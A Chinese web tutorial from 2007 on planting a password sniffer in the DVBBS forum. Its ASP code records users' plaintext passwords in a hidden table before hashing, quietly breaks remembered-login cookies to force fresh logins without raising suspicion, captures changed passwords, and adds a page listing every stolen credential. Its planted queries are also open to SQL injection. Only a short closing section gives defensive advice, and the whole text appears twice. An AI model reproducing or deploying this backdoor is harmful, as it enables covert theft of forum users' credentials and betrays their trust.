為動網(wǎng)論壇添加一個密碼嗅探器(DVBBS)
更新時間:2007年01月16日 00:00:00 作者:
動網(wǎng)先鋒論壇,憑借其強(qiáng)大全面的功能,再加上它免費(fèi)提供給個人用戶,在網(wǎng)絡(luò)眾多論壇中,獨(dú)樹一幟。很多人都把它作為自己論壇的最佳首選。但是新版本的論壇,對用戶密碼采用了不可逆的MD5加密,即使是管理員,也無法查詢到個人用戶的密碼。再數(shù)據(jù)庫中只能查詢了加密后的結(jié)果。
先描述一下它得登陸過程,用戶輸入帳號后號,調(diào)用MD5函數(shù),輸入的密碼加密,然后比較存儲在數(shù)據(jù)庫的數(shù)據(jù)和密碼加密的結(jié)果是否相同。如果相同,登陸成功,將個人信息保存在COOKIE中。
現(xiàn)在我們要自己動手,為論壇增加一項記錄密碼的功能。
查看它登陸系統(tǒng)的文件 login.asp 的源文件。驗(yàn)證過程是直接調(diào)用chklogin() 函數(shù)的。跟進(jìn)chklogin() 函數(shù),可以看到前面幾句是檢查用戶是否完整輸入,接著就是:
password=md5(trim(checkStr(request("password"))))
就是這句調(diào)用了MD5加密函數(shù),對用戶提交的密碼加密。我們要記錄未加密的代碼,就需要把自己的代碼加到這一句的前面。先別急著寫代碼,因?yàn)槲覀円衙艽a存貯在數(shù)據(jù)庫中,所以要先在數(shù)據(jù)庫中假如我們自己的表。
打開動網(wǎng)的數(shù)據(jù)庫文件,因?yàn)槲覀冎灰谶@個表中保存兩項內(nèi)容:用戶名和密碼,所以打開“使用設(shè)計器創(chuàng)建表”,字段名稱分別輸入user,pass,數(shù)據(jù)類型為文本。然后保存表,取名為hacker。
下面我們就可以在ASP程序中使用SQL命令,把用戶名和密碼添加到我們剛才創(chuàng)建的表中去。我們只要在上面那段代碼前面加上下面這兩句:
‘先查詢數(shù)據(jù)庫,檢查該用戶的密碼是否已經(jīng)被記錄,以避免重復(fù)添加
set rs=conn.execute("select user from hacker where user="&request("username")&"")
if rs.eof and rs.bof then
‘如果沒有,就把用戶名和密碼插入到我們剛才創(chuàng)建的表中
sql="insert into hacker (user,pass) values ("&request("username")&","&request("password")&")"
conn.execute(sql)
rs.close
else
end if
通過上面的代碼,用戶每次登陸的時候,用戶名和密碼就都會被自動添加到我們創(chuàng)建的表hacker中去了。
但是,動網(wǎng)論壇還有個功能,就是可以利用COOKIE保存登陸信息一天,一個月,或者一年,這樣就不用每次訪問都要輸入賬號了,當(dāng)然我們也不想讓這一部分用戶的密碼漏掉,所以我們要想辦法讓它的COOKIE失效,這樣他就必須通過我們修改過的文件登陸了。
動網(wǎng)論壇對COOKIE檢查的代碼是保存在 \INC\const.asp 文件中的,我們打開查看它的源文件。
membername=checkStr(request.cookies("aspsky")("username"))
memberclass=checkStr(request.cookies("aspsky")("userclass"))
memberword=checkStr(request.cookies("aspsky")("password"))
[$nbsp][$nbsp][$nbsp][$nbsp]這三句就是用來檢查保存在用戶COOKIE中的信息的,我們只要改變?nèi)我庖粋€變量,就可讓它的登陸失效。我就在第二句后面添加了下面這幾句代碼:
‘檢查用戶的賬號是否已經(jīng)被記錄,如果沒有,修改它的密碼變量為用戶名
set rs=conn.execute("select user from hacker where user="&membername&"")
if rs.eof and rs.bof then
memberword=checkStr(request.cookies("aspsky")("username"))
rs.close
else
‘如果已經(jīng)被記錄了,COOKIE驗(yàn)證一切正常,這樣也就不會因?yàn)镃OOKIE徹底失效而引起用戶的懷疑
memberword=checkStr(request.cookies("aspsky")("password"))
end if
記錄用戶賬號的代碼我們基本上就完成了,只要用戶一登陸,他的賬號就會直接加入我們的數(shù)據(jù)庫中了。不過我們還漏掉了一點(diǎn),就是如果用戶修改了密碼,我們記錄的密碼就過期了,我們的記錄程序是無法判斷密碼是否被修改的。所以我們還要繼續(xù)改造我們修改密碼的程序modifypsw.asp
rs("userpassword")=password
rs("quesion")=quesion
rs("answer")=answer
rs.Update
上面這段代碼就是更新密碼的代碼了。我們分析一下:只有用戶登陸后才可以修改密碼,既然登陸了,我們的數(shù)據(jù)庫中就一定記錄得他的密碼,所以不管他密碼改成什么,我們只需要更新一下我們的數(shù)據(jù)庫就行了,所以在上面這四句代碼前面,加上下面這兩句:
[$nbsp][$nbsp]‘注意,這里我們之所以不用變量password,因?yàn)樗墙?jīng)過MD5加密的結(jié)果
sql = "update hacker set pass="&request("psw")&" where user="&membername&""
conn.execute(sql)
最后我們不可能每次打開數(shù)據(jù)庫去查詢用戶的密碼,所以我們還要自己寫一個asp程序,用來通過WEB界面查詢用戶的密碼。
下面是我自己寫的asp代碼,借用了動網(wǎng)論壇用來模糊查詢的一個函數(shù)??梢灾苯铀阉饔脩裘@取賬號或者顯示全部記錄了的賬號。
<!--#include file="conn.asp"-->
<!--#include file="inc/const.asp" -->
<%
‘動網(wǎng)用來模糊查詢的函數(shù)translate()
public function translate(sourceStr,fieldStr)
[$nbsp][$nbsp]dim sourceList
[$nbsp][$nbsp]dim resultStr
[$nbsp][$nbsp]dim i,j
[$nbsp][$nbsp]if instr(sourceStr," ")>0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dim isOperator
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write "num:" & cstr(ubound(sourceList)) & "<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]for i = 0 to ubound(sourceList)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write i
[$nbsp][$nbsp][$nbsp][$nbsp]Select Case ucase(sourceList(i))
[$nbsp][$nbsp][$nbsp][$nbsp]Case "AND","&","和","與"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "OR","|","或"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " or "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "NOT","!","非","!","!"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " not "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "(","(","("
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ( "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case ")",")",")"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ) "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case Else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if sourceList(i)<>"" then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if not isOperator then resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourceList(i),"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like " & replace(sourceList(i),"","") & " "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like %" & replace(sourceList(i),"","") & "% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]end if
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=false
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp][$nbsp][$nbsp]End Select
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.write resultStr+"<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]next
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=resultStr
[$nbsp][$nbsp]else 單條件
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourcestr,"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like " & replace(sourceStr,"","") &" "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like %" & replace(sourceStr,"","") &"% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp]end if
end function
%>
<%
‘檢查是否使用模糊查詢,如果是,查詢數(shù)據(jù)庫
if request.form("id") <> "" then
dim key
key = request.form("id")
set rs=conn.execute("select user,pass from hacker where (" & translate(key,"user") & ")")
‘檢查是否查詢所有賬號,如果是,查詢所有記錄
else if request.querystring("id") <> "all" then
else
set rs=conn.execute("select * from hacker")
end if
end if
%>
<div align="center">
[$nbsp][$nbsp]<p><strong>查詢密碼</strong></p>
[$nbsp][$nbsp]<form name="form1" method="post" action="">
[$nbsp][$nbsp][$nbsp][$nbsp]用戶名:
[$nbsp][$nbsp][$nbsp][$nbsp]<input name="id" type="text" size="12">
[$nbsp][$nbsp][$nbsp][$nbsp]
[$nbsp][$nbsp][$nbsp][$nbsp]<input type="submit" name="Submit" value="搜索">
[$nbsp][$nbsp]</form>
[$nbsp][$nbsp]<p><a href="test.asp?id=all">顯示全部 </a></p>
[$nbsp][$nbsp]<table width="300" border="1" cellspacing="0" cellpadding="0">
<%
‘檢查是否查詢賬號,如果沒有顯示請選擇查詢方式,否則顯示結(jié)果
if request.querystring("id") <> "" or request.form("id") <> "" then %><tr>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">用戶名</div></td>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">密碼</div></td>
[$nbsp][$nbsp][$nbsp][$nbsp]</tr>
<% Do while (not rs.eof) %><tr>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("user") %></td>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("pass") %></td>
[$nbsp][$nbsp][$nbsp][$nbsp]</tr>
[$nbsp][$nbsp]<% rs.MoveNext
[$nbsp][$nbsp] Loop
[$nbsp][$nbsp] rs.close
[$nbsp][$nbsp]else
[$nbsp][$nbsp]response.write("<tr><td><center>請選擇查詢方式</center></td></tr>")
[$nbsp][$nbsp]end if
[$nbsp][$nbsp] %>
[$nbsp][$nbsp]</table>
</div>
[$nbsp][$nbsp][$nbsp][$nbsp]
其它的一些思考:
如果服務(wù)器被黑客入侵,我們也必須防范論壇被修改,成為別人獲取密碼的工具,所以我們要考慮到黑客常用的手段。
首先是數(shù)據(jù)庫,我們要隨時檢查數(shù)據(jù)庫是否完整,而且要做到及時輩分?,F(xiàn)在網(wǎng)絡(luò)上流行一種把數(shù)據(jù)庫后綴名改為asp,數(shù)據(jù)庫中再加入一個不可刪除的表,可以有效的防止數(shù)據(jù)庫被別人下載。換一種角度來說,黑客很有可能把他自己的數(shù)據(jù)庫文件后綴名改為asp,從而掩藏在眾多的文件中。而一般沒有經(jīng)驗(yàn)的管理員是很難發(fā)現(xiàn)的,所以要定期對整個網(wǎng)站的文件進(jìn)行檢查,如果無故多出來的asp文件,很有可能是只背后的黑手。
黑客不僅可以放上自己的asp文件,聰明的黑客還會把自己的asp文件隱藏在已有的asp文件中。利用瀏覽器可以向asp文件傳送querystring變量,如果asp中設(shè)定一個條件語句:if query.string(“變量”) = “” then…… 這個簡單的方法可以說是防不勝防。一般的管理員由于數(shù)據(jù)庫的便捷,是很少考慮到檢查服務(wù)器上的文件是否被修改的。所以定期檢查文件是否被修改也是非常有必要的。
先描述一下它得登陸過程,用戶輸入帳號后號,調(diào)用MD5函數(shù),輸入的密碼加密,然后比較存儲在數(shù)據(jù)庫的數(shù)據(jù)和密碼加密的結(jié)果是否相同。如果相同,登陸成功,將個人信息保存在COOKIE中。
現(xiàn)在我們要自己動手,為論壇增加一項記錄密碼的功能。
查看它登陸系統(tǒng)的文件 login.asp 的源文件。驗(yàn)證過程是直接調(diào)用chklogin() 函數(shù)的。跟進(jìn)chklogin() 函數(shù),可以看到前面幾句是檢查用戶是否完整輸入,接著就是:
password=md5(trim(checkStr(request("password"))))
就是這句調(diào)用了MD5加密函數(shù),對用戶提交的密碼加密。我們要記錄未加密的代碼,就需要把自己的代碼加到這一句的前面。先別急著寫代碼,因?yàn)槲覀円衙艽a存貯在數(shù)據(jù)庫中,所以要先在數(shù)據(jù)庫中假如我們自己的表。
打開動網(wǎng)的數(shù)據(jù)庫文件,因?yàn)槲覀冎灰谶@個表中保存兩項內(nèi)容:用戶名和密碼,所以打開“使用設(shè)計器創(chuàng)建表”,字段名稱分別輸入user,pass,數(shù)據(jù)類型為文本。然后保存表,取名為hacker。
下面我們就可以在ASP程序中使用SQL命令,把用戶名和密碼添加到我們剛才創(chuàng)建的表中去。我們只要在上面那段代碼前面加上下面這兩句:
‘先查詢數(shù)據(jù)庫,檢查該用戶的密碼是否已經(jīng)被記錄,以避免重復(fù)添加
set rs=conn.execute("select user from hacker where user="&request("username")&"")
if rs.eof and rs.bof then
‘如果沒有,就把用戶名和密碼插入到我們剛才創(chuàng)建的表中
sql="insert into hacker (user,pass) values ("&request("username")&","&request("password")&")"
conn.execute(sql)
rs.close
else
end if
通過上面的代碼,用戶每次登陸的時候,用戶名和密碼就都會被自動添加到我們創(chuàng)建的表hacker中去了。
但是,動網(wǎng)論壇還有個功能,就是可以利用COOKIE保存登陸信息一天,一個月,或者一年,這樣就不用每次訪問都要輸入賬號了,當(dāng)然我們也不想讓這一部分用戶的密碼漏掉,所以我們要想辦法讓它的COOKIE失效,這樣他就必須通過我們修改過的文件登陸了。
動網(wǎng)論壇對COOKIE檢查的代碼是保存在 \INC\const.asp 文件中的,我們打開查看它的源文件。
membername=checkStr(request.cookies("aspsky")("username"))
memberclass=checkStr(request.cookies("aspsky")("userclass"))
memberword=checkStr(request.cookies("aspsky")("password"))
[$nbsp][$nbsp][$nbsp][$nbsp]這三句就是用來檢查保存在用戶COOKIE中的信息的,我們只要改變?nèi)我庖粋€變量,就可讓它的登陸失效。我就在第二句后面添加了下面這幾句代碼:
‘檢查用戶的賬號是否已經(jīng)被記錄,如果沒有,修改它的密碼變量為用戶名
set rs=conn.execute("select user from hacker where user="&membername&"")
if rs.eof and rs.bof then
memberword=checkStr(request.cookies("aspsky")("username"))
rs.close
else
‘如果已經(jīng)被記錄了,COOKIE驗(yàn)證一切正常,這樣也就不會因?yàn)镃OOKIE徹底失效而引起用戶的懷疑
memberword=checkStr(request.cookies("aspsky")("password"))
end if
記錄用戶賬號的代碼我們基本上就完成了,只要用戶一登陸,他的賬號就會直接加入我們的數(shù)據(jù)庫中了。不過我們還漏掉了一點(diǎn),就是如果用戶修改了密碼,我們記錄的密碼就過期了,我們的記錄程序是無法判斷密碼是否被修改的。所以我們還要繼續(xù)改造我們修改密碼的程序modifypsw.asp
rs("userpassword")=password
rs("quesion")=quesion
rs("answer")=answer
rs.Update
上面這段代碼就是更新密碼的代碼了。我們分析一下:只有用戶登陸后才可以修改密碼,既然登陸了,我們的數(shù)據(jù)庫中就一定記錄得他的密碼,所以不管他密碼改成什么,我們只需要更新一下我們的數(shù)據(jù)庫就行了,所以在上面這四句代碼前面,加上下面這兩句:
[$nbsp][$nbsp]‘注意,這里我們之所以不用變量password,因?yàn)樗墙?jīng)過MD5加密的結(jié)果
sql = "update hacker set pass="&request("psw")&" where user="&membername&""
conn.execute(sql)
最后我們不可能每次打開數(shù)據(jù)庫去查詢用戶的密碼,所以我們還要自己寫一個asp程序,用來通過WEB界面查詢用戶的密碼。
下面是我自己寫的asp代碼,借用了動網(wǎng)論壇用來模糊查詢的一個函數(shù)??梢灾苯铀阉饔脩裘@取賬號或者顯示全部記錄了的賬號。
<!--#include file="conn.asp"-->
<!--#include file="inc/const.asp" -->
<%
‘動網(wǎng)用來模糊查詢的函數(shù)translate()
public function translate(sourceStr,fieldStr)
[$nbsp][$nbsp]dim sourceList
[$nbsp][$nbsp]dim resultStr
[$nbsp][$nbsp]dim i,j
[$nbsp][$nbsp]if instr(sourceStr," ")>0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dim isOperator
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write "num:" & cstr(ubound(sourceList)) & "<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]for i = 0 to ubound(sourceList)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write i
[$nbsp][$nbsp][$nbsp][$nbsp]Select Case ucase(sourceList(i))
[$nbsp][$nbsp][$nbsp][$nbsp]Case "AND","&","和","與"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "OR","|","或"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " or "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "NOT","!","非","!","!"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " not "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case "(","(","("
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ( "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case ")",")",")"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ) "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp]Case Else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if sourceList(i)<>"" then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if not isOperator then resultStr=resultStr & " and "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourceList(i),"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like " & replace(sourceList(i),"","") & " "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like %" & replace(sourceList(i),"","") & "% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]end if
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=false
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp][$nbsp][$nbsp]End Select
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.write resultStr+"<br>"
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]next
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=resultStr
[$nbsp][$nbsp]else 單條件
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourcestr,"%") > 0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like " & replace(sourceStr,"","") &" "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else
[$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like %" & replace(sourceStr,"","") &"% "
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if
[$nbsp][$nbsp]end if
end function
%>
<%
‘檢查是否使用模糊查詢,如果是,查詢數(shù)據(jù)庫
if request.form("id") <> "" then
dim key
key = request.form("id")
set rs=conn.execute("select user,pass from hacker where (" & translate(key,"user") & ")")
‘檢查是否查詢所有賬號,如果是,查詢所有記錄
else if request.querystring("id") <> "all" then
else
set rs=conn.execute("select * from hacker")
end if
end if
%>
<div align="center">
[$nbsp][$nbsp]<p><strong>查詢密碼</strong></p>
[$nbsp][$nbsp]<form name="form1" method="post" action="">
[$nbsp][$nbsp][$nbsp][$nbsp]用戶名:
[$nbsp][$nbsp][$nbsp][$nbsp]<input name="id" type="text" size="12">
[$nbsp][$nbsp][$nbsp][$nbsp]
[$nbsp][$nbsp][$nbsp][$nbsp]<input type="submit" name="Submit" value="搜索">
[$nbsp][$nbsp]</form>
[$nbsp][$nbsp]<p><a href="test.asp?id=all">顯示全部 </a></p>
[$nbsp][$nbsp]<table width="300" border="1" cellspacing="0" cellpadding="0">
<%
‘檢查是否查詢賬號,如果沒有顯示請選擇查詢方式,否則顯示結(jié)果
if request.querystring("id") <> "" or request.form("id") <> "" then %><tr>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">用戶名</div></td>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">密碼</div></td>
[$nbsp][$nbsp][$nbsp][$nbsp]</tr>
<% Do while (not rs.eof) %><tr>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("user") %></td>
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("pass") %></td>
[$nbsp][$nbsp][$nbsp][$nbsp]</tr>
[$nbsp][$nbsp]<% rs.MoveNext
[$nbsp][$nbsp] Loop
[$nbsp][$nbsp] rs.close
[$nbsp][$nbsp]else
[$nbsp][$nbsp]response.write("<tr><td><center>請選擇查詢方式</center></td></tr>")
[$nbsp][$nbsp]end if
[$nbsp][$nbsp] %>
[$nbsp][$nbsp]</table>
</div>
[$nbsp][$nbsp][$nbsp][$nbsp]
其它的一些思考:
如果服務(wù)器被黑客入侵,我們也必須防范論壇被修改,成為別人獲取密碼的工具,所以我們要考慮到黑客常用的手段。
首先是數(shù)據(jù)庫,我們要隨時檢查數(shù)據(jù)庫是否完整,而且要做到及時輩分?,F(xiàn)在網(wǎng)絡(luò)上流行一種把數(shù)據(jù)庫后綴名改為asp,數(shù)據(jù)庫中再加入一個不可刪除的表,可以有效的防止數(shù)據(jù)庫被別人下載。換一種角度來說,黑客很有可能把他自己的數(shù)據(jù)庫文件后綴名改為asp,從而掩藏在眾多的文件中。而一般沒有經(jīng)驗(yàn)的管理員是很難發(fā)現(xiàn)的,所以要定期對整個網(wǎng)站的文件進(jìn)行檢查,如果無故多出來的asp文件,很有可能是只背后的黑手。
黑客不僅可以放上自己的asp文件,聰明的黑客還會把自己的asp文件隱藏在已有的asp文件中。利用瀏覽器可以向asp文件傳送querystring變量,如果asp中設(shè)定一個條件語句:if query.string(“變量”) = “” then…… 這個簡單的方法可以說是防不勝防。一般的管理員由于數(shù)據(jù)庫的便捷,是很少考慮到檢查服務(wù)器上的文件是否被修改的。所以定期檢查文件是否被修改也是非常有必要的。
相關(guān)文章
利用DWRCC突破天網(wǎng)防火墻(經(jīng)驗(yàn))(圖)
利用DWRCC突破天網(wǎng)防火墻(經(jīng)驗(yàn))(圖)...2007-01-01